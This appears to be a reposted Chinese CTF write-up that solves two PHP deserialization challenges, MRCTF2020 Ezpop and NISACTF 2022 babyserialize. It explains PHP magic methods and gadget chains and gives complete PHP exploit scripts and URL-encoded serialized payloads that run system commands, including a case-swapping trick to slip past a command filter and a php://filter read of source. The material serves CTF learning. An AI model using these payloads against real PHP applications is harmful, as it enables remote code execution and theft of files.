关于ctf反序列化题的一些见解([MRCTF2020]Ezpop以及[NISACTF 2022]babyserialize)

2023-12-15 01:04

本文主要是介绍关于ctf反序列化题的一些见解([MRCTF2020]Ezpop以及[NISACTF 2022]babyserialize),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

这里对php反序列化做简单了解

在PHP中,序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。

serialize() 函数序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变

如果想要将已序列化的字符串变回 PHP 的值,可使用用unserialize()

当在反序列化后不同的变量和引用方法会调出不同的php魔法函数

php魔法函数

__wakeup():在执行unserialize时,会最先调用这个函数

__sleep():在执行serialize时,会最先调用这个函数

__destruct():当对象被销毁时会调用这个函数

__call():当对象在上下文中调用不可访问或不存在的方法时调用

__callStatic():在静态上下文中嗲用不可访问或者不存在的方法时调用
__get():当访问不存在或没有权限的对象或键值时调用
__isset():在不可访问的属性上调用isset()时调用
__unset():在不可访问的属性上调用unset()时调用
__toString():当把对象(类)当作字符串调用时调用此函数
__invoke():尝试把对象作为函数使用时会调用

__construct():是类中的一种特殊函数,当使用new关键字实例化一个对象时函数将会调用

__set(): 当我们给一个不存在或不可访问的属性赋值时,PHP会自动调用__set方法。

[MRCTF2020]Ezpop

打开题目从整体来大致分析,pop来传参最后需要利用到定义好的append来包含文件文件

做这种题最终要的就是逆向分析,先找到需要利用的点,再一点一点往回推

将代码里的全部类都复制到php在线执行里,然后只留下类里的变量

例如:

在最开始提过,PHP中序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构,并且我们只需要去控制他的变量就好

####可以继续往下看后面再来慢慢理解

现在进行代码分析

modifier类里有变量var和两个函数

  1. 首先定义好了函数append,而append函数里就有我们需要利用的include函数
  2. 魔法函数__invoke里使用了append函数并且值是modifier类里的变量var

所以这里我们给var赋值我们想执行的命令然后想办法调用invoke

invoke() -> append()

invoke函数:当把变量当函数使用时调用

class Modifier {protected  $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}

test类里有一个变量两个函数

  1. constuct函数并没有什么用,只是给p变量赋值
  2. get函数函数这里会给变量function函数赋值变量p,并且把变量function当函数引用

到这里get函数里return $function()把变量当函数用了,所以能调出__invoke()函数

get() --> invoke() --> append()

后面就得找怎么调用get函数

get函数:当访问不存在或者没有权限的变量或键值时调用

class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}

 show类里有两个变量三个函数

  1. construct并没有什么利用价值只是当有new实例化一个对象时会输出index.php的代码
  2. tostring当有类被当作字符串用时会调用并返回这个类里的str里的source变量
  3. wakeup当调用到unserialize时第一个调用,wakeup函数里有用到preg_match函数并且调用了source

这里就能利用到tostring()函数里的return $this->str->source这段,应为show类里变量str里没有source变量,所以这里返回了一个不存在的变量,这里就能调用到__get函数

tostring() --> get() --> invoke() --> append()

再然后需要调用到tostring()函数,而wakeup函数里刚好又要调用变量source当作字符串,那么就可以给变量source赋值一个类,那么不久可以调用到tostring函数了吗

wakeup() --> tostring() --> get() --> invoke() --> append()

wakeup函数再unserialieze时就会自动调用,所以到这里就完全解析完了

class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}

wakeup() --> tostring() --> get() --> invoke() --> append()

这里总结一下:用show类里的函数wakeup调出show类里的tostring函数,然后通过tostring函数调出test类里的get函数,get函数调出modifier类里的invoke函数最后调出我们需要用到的append

<?php
//wakeup() --> tostring() --> get() --> invoke() --> append()
//var变量里写入我们需要用的命令
class Modifier {//这里是应为他最开始以及直接告诉flag再flag.php了所以直接PHP伪协议去读protected  $var = 'php://filter/read=convert.base64-encode/resource=index.php';
}class Show{public $source;public $str;
}class Test{public $p;
}
//把第一个要用的类new实例化一下
$a = new Show;
//wakeup() --> tostring()
$a->source=new Show;
//tostring() --> get()
$a->source->str=new Test;
//get() --> invoke()
$a->source->str->p=new Modifier;
//最后需要url编辑一下,不然怕识别不了
echo urlencode(serialize($a));
?>

payload: O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A3%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BN%3Bs%3A3%3A%22srt%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A22%3A%22system%28%22ls+..%2F..%2F..%2F%22%29%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

得到flag

[NISACTF 2022]babyserialize

还是老样子,拿到题目先大致的看一下入侵点

这里能看到最后是利用到NISA类里的invoke函数里的eval,那么就可以从这里开始倒推

首先要知道我们需要调出invoke函数,就得找到那里有把对象当函数用的。

这里就用到了tostring函数,里面给$bb赋值了$su,所以$bb是一个变量,但是return的是$bb()返回的是函数,所以调用到了invoke

这里给$su=new NISA

tostring->invoke

现在找代码里那里有调用字符串的地方,看怎么调出tostring函数

这里的strtolower会以字符串的方式调用变量a把它变成全部小写

#####这里if里面的条件很奇怪,里面用的是一个等号=相当于是赋值,没理解到是什么意思,很容易让人误解

这里如果我们让$a=new Ilovetxw那么这里就调用了类当作字符串就可以调用Ilovetxw里的tostring函数

set->tostring->invoke

set函数需要给不存在或者权限不够的变量赋值时才会调用

这里能看到call函数里会给它自己里的huang变量里的fun变量赋值,而four里又刚好有一个处于保护状态的fun变量不能赋值

如果给Ilovetxw类里的huang变量赋值new four那么就达成了给没有权限的变量赋值的条件调用了set函数

call->set->tostring->invoke

call函数当引用不存在或者没权限的函数时会调用

这里能看到wakeup函数里会调用这个类里的ext变量里的nisa函数,但是这个类里的ext里时不存在nisa函数的

如果给ext赋值new Ilovetxw但是Ilovetxw类里依然没有nisa()这个函数所以这样就达成了引用call函数的条件,wakeup函数当unserialize执行时会自动调用所以不用管

wakeup->call->set->tostring->invoke

  1. 最后这里很重要这里似乎某个代码做了防护
  2. NISA类里的wakeup函数刚好又调用了hint函数,hint函数最后用注释提示了会直接退出

第一个问题可以后续慢慢尝试看过滤什么函数

第二个问题要执行hint函数首先得fun变量等于show_me_flag,在编写php代码的时候更改

这里我先给出我写的代码

####随便找一个php在线网站都可以编译

<?php
//wakeup->call->set->tostring->invoke
class NISA{//更改变量绕过执行hintpublic $fun="111";//赋值需要执行的命令public $txw4ever='system("ls ../../../")';
}class TianXiWei{public $ext;public $x;
}class Ilovetxw{public $huang;public $su;
}class four{public $a;private $fun;
}
$a=new TianXiWei;
//wakeup->call
$a->ext=new Ilovetxw;
//call->set
$a->ext->huang=new four;
//set->tostring
$a->ext->huang->a=new Ilovetxw;
//tostring->invoke
$a->ext->huang->a->su= new NISA;echo urlencode(serialize($a));
?>

payload:O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BN%3Bs%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3Bs%3A3%3A%22111%22%3Bs%3A8%3A%22txw4ever%22%3Bs%3A22%3A%22system%28%22ls+..%2F..%2F..%2F%22%29%22%3B%7D%7Ds%3A9%3A%22%00four%00fun%22%3Bs%3A9%3A%22sixsixsix%22%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3BN%3B%7D

这里上传payload显示somenthing wrong

这里就触发了这里的提示说明使用的命令被拦了

尝试一下大小写绕过

最后的poc

<?php
//wakeup->call->set->tostring->invoke
class NISA{//更改变量绕过执行hintpublic $fun='111';//赋值需要执行的命令,这里用/f*是把所有f开头的看一遍public $txw4ever='sYstem("tac /f*")';
}class TianXiWei{public $ext;public $x;
}class Ilovetxw{public $huang;public $su;
}class four{public $a;private $fun;
}
$a=new TianXiWei;
//wakeup->call
$a->ext=new Ilovetxw;
//call->set
$a->ext->huang=new four;
//set->tostring
$a->ext->huang->a=new Ilovetxw;
//tostring->invoke
$a->ext->huang->a->su= new NISA;
echo urlencode(serialize($a));
?>

最后上传参数就能得到flag

总结:

像这种pop链的题一定要多练习多记,做多了就有感觉了

这篇关于关于ctf反序列化题的一些见解([MRCTF2020]Ezpop以及[NISACTF 2022]babyserialize)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/494538

相关文章

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

Python---文件IO流及对象序列化

文章目录 前言一、pandas是什么?二、使用步骤 1.引入库2.读入数据总结 前言 前文模块中提到加密模块,本文将终点介绍加密模块和文件流。 一、文件流和IO流概述         在Python中,IO流是用于输入和输出数据的通道。它可以用于读取输入数据或将数据写入输出目标。IO流可以是标准输入/输出流(stdin和stdout),也可以是文件流,网络流等。

jquery 表单序列化

jQuery序列化表单的方法总结 现在这里贴出案例中静态的html网页内容: <!DOCTYPE html><html lang="zh"><head><meta charset="UTF-8"><title>Title</title><script src="../js/jquery-3.2.1.js"></script></head><body><form method="post"

Java反序列化漏洞-TemplatesImpl利用链分析

文章目录 一、前言二、正文1. 寻找利用链2. 构造POC2.1 生成字节码2.2 加载字节码1)getTransletInstance2)defineTransletClasses 2.3 创建实例 3. 完整POC 三、参考文章 一、前言 java.lang.ClassLoader#defineClass defineClass可以加载字节码,但由于defineClas

Spring之——整合Redis序列化方式StringRedisSerializer、FastJsonRedisSerializer和KryoRedisSerializer

当我们的数据存储到Redis的时候,我们的键(key)和值(value)都是通过Spring提供的Serializer序列化到数据库的。RedisTemplate默认使用的是JdkSerializationRedisSerializer,StringRedisTemplate默认使用的是StringRedisSerializer。 Spring Data JPA为我们提供了下面的Serializ

使用 `readResolve` 防止序列化破坏单例模式

单例模式是一种设计模式,其目的是确保一个类只有一个实例,并提供一个全局访问点。在 Java 中,我们常常通过私有化构造方法和提供静态访问方法来实现单例。然而,尽管这些手段可以有效防止类的实例化,反射和序列化依然能够破坏单例模式的唯一性。本文将重点讲解序列化如何破坏单例模式,以及如何通过 readResolve 方法来防止这种破坏。 1. 序列化和反序列化 序列化 是指将对象的状态转换为字节

上海大学《2022年836+915自动控制原理真题及答案》 (完整版)

Part1:2022年上海大学真题题目 学硕836 专硕915 Part2:2022年上海大学真题答案 学硕836 专硕915

【算法 2022】高效有用的机器学习算法和 Python 库

2022年已经到来,在此祝大家虎年大吉!2022年,下面几种机器学习算法和 Python 库将在未来更受欢迎!让我们花个几分钟一起来了解下: 一、CatBoost CatBoost 可能是最新的算法,因为它随着越来越流行而不断更新。这个机器学习算法对于处理分类数据的数据科学家特别有用。您可以考虑 Random Forest 和 XGBoost 算法的优点,CatBoost 具有它们的大部分优点

他来了他来了,Hadoop序列化和切片机制了解一下?

点击上方蓝色字体,选择“设为星标” 回复”面试“获取更多惊喜 切片机制 一个超大文件在HDFS上存储时,是以多个Block存储在不同的节点上,比如一个512M的文件,HDFS默认一个Block为128M,那么1G的文件分成4个Block存储在集群中4个节点上。 Hadoop在map阶段处理上述512M的大文件时分成几个MapTask进行处理呢?Hadoop的MapTask并行度与数据切片有有关系

【Linux】自定义协议与序列化和反序列化

一、自定义协议 1.1 自定义报文格式        在前面的博客中,我们可以知道在TCP协议中,面向的是字节流;而UDP协议中面向的是数据报。因此,在手写简单的TCP和UDP服务器中,所使用的是接收函数和发送函数不同。因此,在TCP协议中,我们需要分清楚一个完整的报文,并将其分离出来,因此,我们应该如何进行分离出一个完整的报文呢??        如果一个报文中什么标志也没有,那么必然是不